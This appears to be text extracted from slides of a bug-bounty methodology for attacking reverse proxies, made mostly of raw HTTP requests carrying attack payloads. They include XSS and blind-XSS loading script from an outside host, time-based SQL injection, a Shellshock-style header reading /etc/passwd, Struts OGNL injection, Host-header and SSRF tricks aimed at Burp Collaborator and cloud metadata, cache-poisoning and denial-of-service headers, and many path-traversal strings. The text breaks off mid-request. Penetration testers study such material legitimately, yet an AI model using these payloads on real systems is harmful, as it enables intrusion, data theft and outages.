/Endpoint-To-Proxy/%3D%22img src='https://RandomString(10).id.burpcollaborator.net'%22%3E HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Slides Try To Inject XSS Payloads e.g. "></script><svg onload=%26%2397%3B%26%23108%3B%26 %23101%3B%26%23114%3B%26%23116%3B(document.domain)> After Your Endpoints GET /Endpoint-To-Proxy/ "></script><svg onload=%26%2397%3B%26%23108%3B%26%23101 %3B%26%23114%3B%26%23116%3B(document.domain)> HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Writeup ● Writeup ● Writeup ● Writeup ● Tweet Try To Inject Host Header With Your Domain e.g. Host: RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Slides ● Video ● Writeup ● Writeup Try To Ambiguate The Host Header e.g. Host: company.com @RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com@RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Ambiguate The Host Header e.g. Host: company.com: @RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com:@RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Blog Try To Ambiguate The Host Header e.g. Host: company.com: RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Blog Try To Append Host Header With Your Domain e.g. Host: RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com Host: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides ● Video ● Writeup Try To Inject Host Header With localhost e.g. Host: localhost To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Tweet Try To Append Host Header With localhost e.g. Host: localhost To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com Host: localhost User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Change Routing Of The Request e.g. GET /Endpoint-To-Proxy@RandomString(10).id.burpcollaborator.net# To Get SSRF GET /Endpoint-To-Proxy@RandomString(10).id.burpcollaborator.net# HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video ● Video ● Tweet Try To Change Routing Of The Request e.g. GET @RandomString(10).id.burpcollaborator.net/Endpoint-To-Proxy To Get SSRF GET @RandomString(10).id.burpcollaborator.net/Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Change Routing Of The Request e.g. GET RandomString(10).id.burpcollaborator.net/Endpoint-To-Proxy To Get SSRF GET :@RandomString(10).id.burpcollaborator.net/Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Change Routing Of The Request e.g. GET /Endpoint-To-Proxy:@RandomString(5).id.burpcollaborator.net# With HTTP/1.0 To Get SSRF GET /Endpoint-To-Proxy:@RandomString(5).id.burpcollaborator.net# HTTP/1.0 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Blog Try To Change Routing Of The Request e.g. GET /Endpoint-To-Proxy@RandomString(5).id.burpcollaborator.net# With HTTP/1.0 To Get SSRF GET /Endpoint-To-Proxy@RandomString(5).id.burpcollaborator.net# HTTP/1.0 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Blog Try To Inject Host Header And X-Forwarded-Host With Your Domain e.g. Host: RandomString(10).id.burpcollaborator To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: RandomString(10).id.burpcollaborator.net X-Forwarded-Host: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Add Another Space-surrounded Host Header e.g. Host:RandomString(10).id.burpcollaborator.net To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com Host: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video ● Writeup Try To Change Host Header To host Header e.g. host: comapny.com To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Remove The Space That In The Host Header e.g. Host:comapny.com To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host:www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Add Tab Instead Of The Space That In The Host Header e.g. Host: comapny.com To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Resource Try To Add / , : , \x00 , \x20 , \x09 , \xad After Value Of The Host Header e.g. Host: comapny.com sensitive-file.txt To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com sensitive-file.txt User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Resource Try To Override The Host Header e.g. POST https://company.com AND Change Host Header e.g Host: RandomString(10).id.burpcollaborator.net To Get SSRF GET https://company.com/Endpoint-To-Proxy HTTP/1.1 Host: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video ● Video ● Writeup Try To Spoof The Original IP By Appending X-Forwarded-For Header e.g. X-Forwarded-For: 0000::1 To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-Forwarded-For: 0000::1 User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup Try To Spoof The Original IP By Appending X-Forwarded-For Header With Change HTTP/1.1 To HTTP/1.0 To Get SSRF GET /Endpoint-To-Proxy HTTP/1.0 Host: www.company.com X-Forwarded-For: RandomString(10).id.burpcollaborator.net User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Tweet Try To Spoof The Original IP By Appending X-Forwarded-For Header With Encoded IP Addresses e.g. X-Forwarded-For: 0177.1 To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-Forwarded-For: 0177.1 User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Tweet Try To Use X-Forwarded-For Header e.g. X-Forwarded-For: 127.0.0.1\r To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-For: 127.0.0.1\r Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides Try To Use X_Forwarded_For Header Instead Of X-Forwarded-For e.g. X_Forwarded_For: 127.0.0.1 To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X_Forwarded_For: 127.0.0.1 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Use Forwarded Header e.g. Forwarded: for=127.0.0.1 , Forwarded: for=IPv4;proto=http;by=IPv4 OR Forwarded: for="[::1]:Port" To Bypass It GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Forwarded: for=127.0.0.1 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Spoof The Original IP By Appending X-ProxyUser-Ip Header e.g. X-ProxyUser-Ip: 127.0.0.1 To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-ProxyUser-Ip: 127.0.0.1 User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Spoof The Original User By Appending X-Remote-User Header e.g. X-Remote-User: admin To Expose Internal Information GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-Remote-User: admin User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Standard Headers e.g. Referer , Origin etc , To Get SSRF GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: RandomString(10).id.burpcollaborator.net Origin: https://RandomString(10).id.burpcollaborator.net Connection: keep-alive attacker My Methodology ● Slides Try To Inject Double Standard Headers e.g. Referer , Origin etc , To Get SSRF GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: RandomString(10).id.burpcollaborator.net Referer: RandomString(10).id.burpcollaborator.net Origin: https://RandomString(10).id.burpcollaborator.net Origin: https://RandomString(10).id.burpcollaborator.net Connection: keep-alive attacker My Methodology ● Slides Try To Inject Noun-Standard Headers e.g. X-Forwarded-For , X-Forwarded-Host , X-Client-IP , True- Client- IP AND X-Originating-IP etc , To Get SSRF GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-Forwarded-For: RandomString(10).id.burpcollaborator.net X-Forwarded-Host: RandomString(10).id.burpcollaborator.net X-Client-IP: RandomString(10).id.burpcollaborator.net X-Originating-IP: RandomString(10).id.burpcollaborator.net X -WAP -Profile: https://RandomString(10).id.burpcollaborator.net True- Client- IP: RandomString(10).id.burpcollaborator.net Connection: keep-alive attacker My Methodology ● Slides ● Video ● Blog Try To Inject Double Noun-Standard Headers e.g. X-Forwarded-For , X-Client-IP , X-Forwarded-Host , True- Client- IP AND X-Originating-IP etc , To Get SSRF GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com X-Forwarded-For: RandomString(10).id.burpcollaborator.net X-Forwarded-For: RandomString(10).id.burpcollaborator.net X-Forwarded-Host: RandomString(10).id.burpcollaborator.net X-Forwarded-Host: RandomString(10).id.burpcollaborator.net X-Client-IP: RandomString(10).id.burpcollaborator.net X-Client-IP: RandomString(10).id.burpcollaborator.net Connection: keep-alive attacker My Methodology ● Resource attacker My Methodology Try To Inject Blind XSS e.g. "><script src=//me.xss.ht></script> OR Time-Based SQLi e.g. ";WAITFOR DELAY '0.0.20'-- In X-Forwarded-For Header ● Tweet ● Blog Try To Inject Blind XSS e.g. "><script src=//me.xss.ht></script> OR Time-Based SQLi e.g. 'XOR(if(now()=sysdate(),sleep(30),0))OR' In User-Agent Header GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0'XOR(if(now()=sysdate(),sleep(30),0))OR' Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup ● Tweet Try To Inject e.g. { :;}; echo $(</etc/passwd) In User-Agent Header To Get RCE GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: { :;}; echo $(</etc/passwd) Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Tweet Try To Inject Blind XSS e.g. "><script src=//me.xss.ht></script> In Referer Header GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: "><script src=//me.xss.ht></script> Origin: https://www.company.com attacker My Methodology ● Writeup Try To Inject Double Content-Type Header e.g. Content-Type: multipart/form-data Content-Type: application/json To Expose Internal Information POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: multipart/form-data Content-Type: application/json Content-Length: Number Origin: https://www.company.com parameter=value attacker My Methodology ● Resource Try To Inject Invalid Content-Type Header e.g. Content-Type: */* To Expose Internal Information POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: */* Content-Length: Number Origin: https://www.company.com parameter=value attacker My Methodology ● Tweet If There Is Linkerd Service Try To Inject l5d-dtab Header e.g. l5d-dtab: /$/inet/169.254.169.254/80 To Get AWS metadata POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 l5d-dtab: /$/inet/169.254.169.254/80 Content-Length: Number Origin: https://www.company.com parameter=value attacker My Methodology ● Tweet Try To Inject Payloads In Content-Type Header e.g. Content-Type: %{#context['com.opensymphony .xwork2.dispatcher.HttpServletResponse'].addHeader(Header,4*4)}.multipart/form-data To Get RCE GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: %{#context['com.opensymphony.xwork2 .dispatcher.HttpServletResponse'].addHeader(Header,4*4)}.multip art/form-data Origin: https://www.company.com attacker My Methodology ● Writeup ● Writeup ● Writeup ● Tweet Try To Inject Content-Length Header With Number And There Is Not Body Content To Expose Internal Information POST /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/json Content-Length: Number Origin: https://www.company.com attacker My Methodology ● Resource Try To Ambiguate The Host Header e.g. Host: company.com:PORT To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com:PORT User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add Another Space-surrounded Host Header e.g. Host:RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add Another Space-surrounded Host Header e.g. Host:RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 User-Agent: Mozilla/5.0 Host: RandomString(10).id.burpcollaborator.net Host: company.com Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Inject X-Forwarded-Host e.g. X-Forwarded-Host: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video ● Writeup Try To Inject X-Forwarded-Host e.g. X-Forwarded-Host: www.company.com:PORT To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Host: www.company.com:PORT Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Double X-Forwarded-Host e.g. X-Forwarded-Host: company.com And X-Forwarded-Host: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Host: www.company.com X-Forwarded-Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject X-Forwarded-Server e.g. X-Forwarded-Server: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Server: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video Try To Inject X-Forwarded-Host And Origin e.g. Origin: null And X-Forwarded-Host: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: null X-Forwarded-Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path attacker My Methodology ● Video Try To Inject Origin Header e.g. Origin: '-alert(1)-' To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Origin: '-alert(1)-' Referer: https://previous.com/path attacker My Methodology ● Video Try To Inject X-Forwarded-Host And X-Forwarded-Scheme e.g. X-Forwarded-Scheme: nothttps And X-Forwarded-Host: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Scheme: nothttps X-Forwarded-Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path attacker My Methodology ● Video Try To Inject X-Host e.g. X-Host: RandomString(10).id.burpcollaborator.net To Achieve Cache Poisoning OR XSS GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Host: RandomString(10).id.burpcollaborator.net Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video ● Tweet Try To Inject X-Oversized-Header-Number e.g. X-Oversized-Header-1: xxx 20K xxx To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Oversized-Header-1: xxxxx 20K xxxx X-Oversized-Header-2: xxxxx 20K xxxx Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject X-Metachar-Header e.g. X-Metachar-Header: \n To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Metachar-Header: \n Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject X-HTTP-Method-Override e.g. X-HTTP-Method-Override: PUT To Achieve RCE OR Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-HTTP-Method-Override: PUT Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup ● Blog Try To Inject X-Forwarded-Port e.g. X-Forwarded-Port: 123 To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-Port: 123 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog ● Writeup Try To Inject X-Forwarded-SSL e.g. X-Forwarded-SSL: xxxx To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Forwarded-SSL: off Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Max-Forwards e.g. Max-Forwards: 0 To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Max-Forwards: 0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject zTransfer-Encoding OR Transfer-Encoding e.g. zTransfer-Encoding: xxxx To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 zTransfer-Encoding: xxxx Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Accept_Encoding e.g. Accept_Encoding: xxxx To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Accept_Encoding: xxxx Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Range e.g. Range: bytes=cow To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Range: bytes=cow Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject User-Agent e.g. User-Agent: xxxx 20K xxxx To Achieve Cache-Poisoned Denial-of-Service GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: xxxx 20K xxxx Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Inject Keep-Alive , Transfer-Encoding , Trailer , Upgrade , Proxy-Authorization , TE Connection OR Proxy-Authenticate e.g. Connection: close, Cookie To Abuse Hop-By-Hop GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Connection: close, Cookie Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog Try To Add Headers e.g. X-Original-URL: /Internal-Endpoint , X-Override-URL: /Internal-Endpoint OR X-Rewrite-URL: /Internal-Endpoint To Bypass Blacklist GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 X-Original-URL: /Internal-Endpoint Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video ● Blog ● Writeup Try To Inject ?%xx , %xx OR %xxx 20k xxx e.g. Endpoint-To-Proxy/%xx To Do DOS Attack GET /Endpoint-To-Proxy/%xxx 20k xxx HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Writeup Try To Add Parameter With Value e.g. ?parameter=cache OR If There Is Parameters Try To Add Another e.g. lang=en&parameter=cache To Achieve Cache Poisoning GET /Endpoint-To-Proxy?parameter=cache HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add Parameter With Large Value e.g. ?parameter=xxx 20K xxx OR If There Is Parameters Try To Add Another e.g. lang=en&parameter=xxx 20K xxx To Achieve Cache Poisoning GET /Endpoint-To-Proxy?parameter=xxxx 20K xxxx HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add _Parameter With Value e.g. ?_parameter=cache OR If There Is Parameters Try To Add Another e.g. lang=en&_parameter=cache To Achieve Cache Poisoning GET /Endpoint-To-Proxy?_parameter=cache HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add ;Parameter With Value e.g. ;parameter=cache OR If There Is Parameters Try To Add Another e.g. lang=en;parameter=cache To Achieve Cache Poisoning GET /Endpoint-To-Proxy;parameter=cache HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive attacker My Methodology ● Video Try To Add Body e.g. parameter=cache To Your Request Without Change GET To Achieve Cache Poisoning GET /Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive parameter=cache attacker My Methodology ● Video Try To Change Method To POST And Add Body e.g. _Parameter With Value e.g. _parameter=cache To Achieve Cache Poisoning POST /Endpoint-To-Proxy HTTP/1.1 Host: company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Connection: keep-alive _parameter=cache attacker My Methodology ● Video If There Is Nginx As Reverse Proxy AND Weblogic As Backend Try To Use /#/../ To Change Route Of Endpoints e.g. Endpoint-To-Proxy/#/../../../../../../../../../etc/passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/#/../../../../../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy AND Weblogic As Backend Try To Use ;/../ To Change Route Of Endpoints e.g. /../../../../../../../../../etc/passwd;/../Endpoint-To-Proxy To Get Content Of etc/passwd File GET /../../../../../../../etc/passwd;/../Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy Try To Use ../ To Change Route Of Endpoints e.g. Endpoint-To-Proxy../../../../../../../../etc/passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy../../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides ● Blog ● Blog ● Video ● Video Try To Inject ../../../../../../../../../../etc/passwd e.g. Endpoint-To-Proxy/../../../../../../../../etc/passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/../../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup Try To Inject ..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd e.g. Endpoint-To-Proxy /..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup Try To Inject \..\.\..\.\..\.\..\.\..\.\..\.\Internal-Endpoint OR \..\..\..\.\..\..\Internal-Endpoint\..\..\..\..\..\etc\passwd%3F.jsTo Expose Internal Information GET /Endpoint-To-Proxy\..\.\..\.\..\.\..\.\Internal-Endpoint HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog ● Video ● Blog Try To Inject %255c%255c%255c%255c%255c%255c..%255c..%255c..%255c ..%255c..%255c..%255c/Internal-Endpoint To Expose Internal Information GET /Endpoint-To-Proxy/ %255c%255c%255c%255c%255c%255c..%255c..%255c.. %255c..%255c..%255c..%255c/Internal-Endpoint HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video Try To Inject /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f ..%252f..%252f..%252f..%252f..%252fwindows/System32/drivers/etc/hosts To Get File etc/hosts GET /Endpoint-To-Proxy// ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%25 2f..%252f..%252f..%252f..%252f..%252f..%252f..%25 2f..%252fwindows/System32/drivers/etc/hosts HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup Let’s Assume There Is Routing To Pulse Secure SSL VPN So , Try To Inject dana-na/../dana /html5acc/guacamole/../../../../../../etc/hosts?/dana/html5acc/guacamole/# To Get File etc/hosts GET /Endpoint-To-Proxy/dana-na/../dana/html5acc/guacamole/../ ../../../../../etc/hosts?/dana/html5acc/guacamole/# HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Writeup ● Writeup ● Writeup ● Writeup Try To Inject file:%2f%2f/Internal-Endpoint/%252e%252e/%252e%252e/ %252e%252e/etc/passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/ file:%2f%2f/Internal-Endpoint/%252e%252e/%252e%252e/ %252e%252e/etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Video If There Is Apache As Reverse Proxy Try To Use /..// To Change Route Of Endpoints e.g. Endpoint-To-Proxy/..//../../../../../../../etc/passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/..//../../../../../../etc/passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Apache As Reverse Proxy Try To Use /./ To Change Route Of Endpoints e.g. Endpoint-To-Proxy/../../../../../../etc//./passwd To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/../../../../../../etc//./passwd HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Apache As Reverse Proxy Try To Use %3F To Bypass Blacklist Of Endpoints e.g. Endpoint-To-Proxy/.git%3FAllowed To figure Out Is .git There GET /Endpoint-To-Proxy/.git%3FAllowed HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides If There Is Nginx As Reverse Proxy AND Apache As Backend Try To Use //../ To Change Route Of Endpoints e.g. Endpoint-To-Proxy/../../../../../../../../../etc/passwd//../ To Get Content Of etc/passwd File GET /Endpoint-To-Proxy/../../../../../../../etc/passwd//../ HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Slides ● Video If There Is Haproxy OR Nuster As Reverse Proxy Try To Use UEL Encoding e.g. ..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd To Bypass Blacklist Of Endpoints GET /Endpoint-To-Proxy/..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 